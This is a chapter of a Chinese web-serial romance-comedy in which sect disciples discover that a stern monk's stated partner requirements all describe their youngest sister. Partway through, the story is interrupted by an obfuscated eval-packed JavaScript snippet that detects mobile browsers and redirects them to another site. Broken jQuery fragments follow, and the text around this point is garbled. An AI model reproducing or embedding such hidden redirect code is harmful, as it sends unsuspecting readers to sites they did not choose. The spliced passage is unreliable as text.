29. 立即掉头跳回大海

作品:《脚踏八条船你总要翻

    那落迦修行欢喜佛,和她们贺欢宫教义不谋而合。讲究解行并重,理论和实践缺一不可。


    有问题就得飞速解决,答疑解惑,方能取得进一步进展。


    方旭升旁敲侧击,问那落迦不动明王会选择何种人,作为他的配偶。


    那落迦沉默了会,思绪犹如质本洁来还洁去的梨花,照出月轮澄澈的影子,“敢直面主尊、不惧怕、扫障难的人。”


    半个时辰过去,除司徒景安、凤萧声之外的贺欢宫弟子,全被方旭升集中在楠竹环绕的禅房外。


    冷秋捎带枫红的落叶,长着青苔的石阶下开着鲜黄的小雏菊。恒天翻着六师姐记载的文字,咂咂嘴,“小样儿,还挺挑。”


    接着轻咳一声,放开嗓子喊话,“各位姐妹听清楚了,满足以下条件者,前进一步。不符合条件者,全数退到左右两侧。”


    众弟子齐声回应:“明白。”


    “干惯粗活、累活,手脚粗拙者,出列。”


    一批四体不勤,谨慎护肤,日夜不忘抹膏熏香的弟子退下。


    “力大如牛,能拔山扛鼎,气吞山河者,出列。”


    当中弱不胜衣,姿若扶柳的女子退下。


    “肌肉发达,虎虎生风,一顿能吃八碗饭……什么毛病,看给他惯的,搁这儿菜市场挑菜来了。”恒天嘴里嘀咕着,食指沾了口唾沫,继续往下翻。


    一些身材矮小,少食多餐的弟子退下。


    等那落迦偏好的所有条件说完,庭院中央没有余下任何一人。


    全场鸦雀无声,几只黑色的乌鸦凌空飞过。一只胖大的蜥蜴慢悠悠地爬过庭院,墙缝钻出几朵探头探脑的紫色牵牛花。


    “那落迦该不会是耍我们吧!”恒天击缺唾壶,一臂长的手卷砸在土坑前,“他那选的是伴侣吗?是在选熊吧?!或者把我们当做熊来耍!”


    不对。


    沉得住气的徐风报着不同的意见。


    出家人不打狂语,首座大人没有欺瞒她们的必要。经过她多日观测,那落迦纵有几率破戒,也断然不会在落在口舌之业上。


    他对养育自己长大的方丈,言听计从。将人教授自己之物,奉如圭臬。


    首座大人应当知晓,时下情况瞬息万变,容不得他多做考量。


    方旭升扫了眼人群,敏锐地察觉到现场所到人数并非全数。她再一细看,不稍片刻,裁断出所缺之人是谁,“小师妹何在?”


    贺欢宫弟子晏无明向前一步,答:“小师妹这个时辰一般在校场和僧人们一并扎马步。”


    方旭升整理好手腕下扣着的机关袖箭,跳下乱石,揽衣而站,“走,去瞅一瞅。”瞧瞧小师妹这些时日的进展如何,一天天混在汉子堆里,能学出什么名头。


    烈日自喜,贺欢宫宫人集群而动。一经挪移,搬动满园春色。


    或浓烈、或清淡的香气,透过异彩衣袂,衬得娘子们芳兰竟体。怕是在世的柳下惠见了,都要心醉神迷。


    贺欢宫宫人围观天阿寺的僧人们集体排练,那落迦首当其冲。


    他似一根永不开化的定海神针,牢牢钉在男女分界线中间,以一人之力,强硬地分开两侧人流。


    以往他顶多岔开时间,应对一边,如今却要同时在不鸣则已,一鸣惊人的两拨人里头周旋。


    左边是各种脂粉、熏香杂糅而出的香气,右边是大汗淋漓下被粗布麻衣闷出来的汗臭味。


    夹在正中的那落迦,嗅觉冲击异常强烈。他是一个五感发达的修者,经此精准围攻,不亚于一次针对性摧残。


    依那落迦的秉性,不会跪求施主们快些收了神通,只会横拦竖挡,排除万难。


    不管姑娘们整出些啥动静,全部四两拨千斤地还回去。


    他一个指令,要求弟子们分成两列,相互对打。


    实行例有的淘汰制,落败的一位绕山跑三圈。得胜者与另一组胜利者对打,直至全场余下十人方可终结。


    技法精湛的武僧回头,粗粝的手掌向下,借问贺欢宫人意愿,“各位施主一起上?我这边有事抽不开身,分不出充裕的时间应付你们。”


    方旭升嫣然一笑。方旭升举起袖箭。


    徐风抬手按下师妹的武器,“那秃驴是没人情味了些,”好吧,他压根就没人味。“但方丈委托我们的破身任务,不是物理意义上的破。姑且就留他一命吧。”


    恒天放下重达两石的双头锤,嗤了一声。


    没意思。


    杀不能杀,放不能放。


    好比一条滑不溜秋的泥鳅,要下口还嫌细刺扎嘴。


    方旭升、徐风、恒天三人袖手旁观,观望师妹们各出奇招。


    凤萧声抵挡住李狗剩三连击,十指全是反复磨损又闭合的血泡。


    手脚粗拙,过。


    凤萧声左右手各举起两尊看家护院的石象,一脚踹裂立足的地面。


    力大如牛,过。


    凤萧声卷起袖子,健壮的前臂肌块块分明。


    肌肉发达,过。


    迟疑顾望的三人,齐齐啧了一声。


    到晚餐时点,清癯的山林逶迤着一股迷蒙的雾气。庖厨腾起一道疏淡的炊烟,直溜溜的,随着西边沉落的红日颜色渐浓。


    胜利者凤萧声得了空,“嗖地”一声跑出两里地,抢在师兄弟们前头,一股脑扎进斋堂抢饭。


    慢了可是要捱饥受饿的。


    重重院墙隔绝萧瑟的景观,疏疏落落的危楼拔地倚天。方旭升问:“徐师姐,你看清小师妹动作了吗?”


    徐风答:“没有。恒师妹你看出什么了吗?”


    “没有。”不看还好,一看就受不了。恒天的肚子咕噜咕噜叫,“但我能听出我的肚子饿了。”


    行吧。方旭升领着鏖战了一场的师姐妹们,一同在斋堂用餐。


    对敌战况依然是惨败。


    聊以□□的是,至少验证了一点。大师姐的猜测没有错。那落迦的身份有问题,他绝不只限于一介武艺高超的武僧而已。


    忙着大快朵颐的凤箫声,没有注意到师姐们的到来。


    她端着餐盘,赶在师兄弟们进屋前,先扒完了满满一碗青稞面。


    师姐们瞧她吃完一碗,再续一碗。吃完一碗,再续一碗。


    配着平时送到禅房来,她们都不屑于动几次筷子的青菜,小师妹接连咽了八碗,期间还附带喝了五碗汤消噎解渴。


    其余终于留意到小师妹的贺欢宫宫人,跟观测三人组的表情逐渐趋向一致。


    看来每日天不亮晨起,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577521|155776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜深还不能入眠的功课,过度消耗了小师妹。她要补充上一身蛮劲,就得从一日餐食里寻。


    想来也是。小师妹不仅要功夫、心法两把抓,还要在首座大人和贺欢宫之间,两头跑,一顿乱窜,这一通操作确乎是极其消耗精力。


    听闻过首座大人择偶标准的贺欢宫宫人,回过味来。


    她们按着那落迦提出的要求,一条条校对完,发觉小师妹全都入套。


    “这不是明摆着指着小师妹找对象吗,他为什么不明说啊?”


    就算是一庙的班首,也不能平白无故地耍人玩啊!她这就去找他去!


    恒天长卷一甩,抡起拳头就要找那落迦算账。


    “还有一种原因。”


    方旭升制止住恒天的莽撞行为。


    兴许,班首大人自己都不晓得,晓得了也没处去确定。


    佛刹森严,天然有一层无形的保护膜,用来隔绝尘寰。


    首座大人自幼在寺院里长大,主持和尚能教授他何为亲情、大义,却没有人能来教导他何为男女之情。


    无从了解,又谈何深入。


    没有昆虫传粉的花,子房虚位以待,发育不出甜美的果实。无花之果,心墙高垒的胚珠焉能播撒出爱恋的种子。


    语言是沟通的渠道,语言亦是直白的陷阱。


    方丈要她们帮助首座大人破戒,不是让她们霸王硬上弓,赶鸭子上架,而是要首座大人主动领会到,倾心爱慕某个人的滋味。


    小师妹误打误撞,正中靶心。


    “走吧。”方旭升说:“回头我们把该教的全教给小师妹,让她去负责搞定这块难啃的硬骨头。”


    她们打一开始就出了差错,就不多拖后腿了。


    听到解放宣言的宫人们,齐声欢呼,乐于使出浑身解数培养接替了她们工作的小师妹。


    突然被各位师姐关照的凤箫声,本就繁忙的课业雪上加霜。


    她的天都要塌了。同样有天塌之感的,还有她的伴生灵——桃花水母。


    桃花水母心里苦,说不出。


    唯一幸事,是那个堪称菩萨的秃头和尚常常会管教它的契主,帮它说好话,遏制她对它太过苛刻的举动。


    对头,对头。


    桃花水母用软绵绵的触手抱住自己。


    它只是一只什么都不会的桃花水母。原就不想上岸,只想要在江河里飘一辈子。


    没事捕捉几只浮游生物加加餐,扒拉着随波晃荡的水草啃一啃蹭。就此没头没脑、逍遥自在地度过一生。


    奈何被一个破竹编灯笼打捞上了岸。


    桃花水母个头小,心也小。


    按较真的说法,它压根没有心脏可言。


    桃花水母没有远大的理想和迫不及待实现的愿望,不是由生到死都在寻求着他人认可,为自己的存在丈量价值的人类。也没有他们贯穿一生,丝毫不能放松的,从私塾到婚聘,处处是关键,行差踏错即人生尽毁的观念。


    传闻中,所有生物都是从水里产生。追根溯源,亿万年前他们曾是一个祖先。


    起早贪黑,劳劳碌碌却依旧朝不保夕的人类,会不会后悔当时出于一时的好奇,从优游自如的水体爬上陆地,而非一碰到地面,立即掉头跳回大海?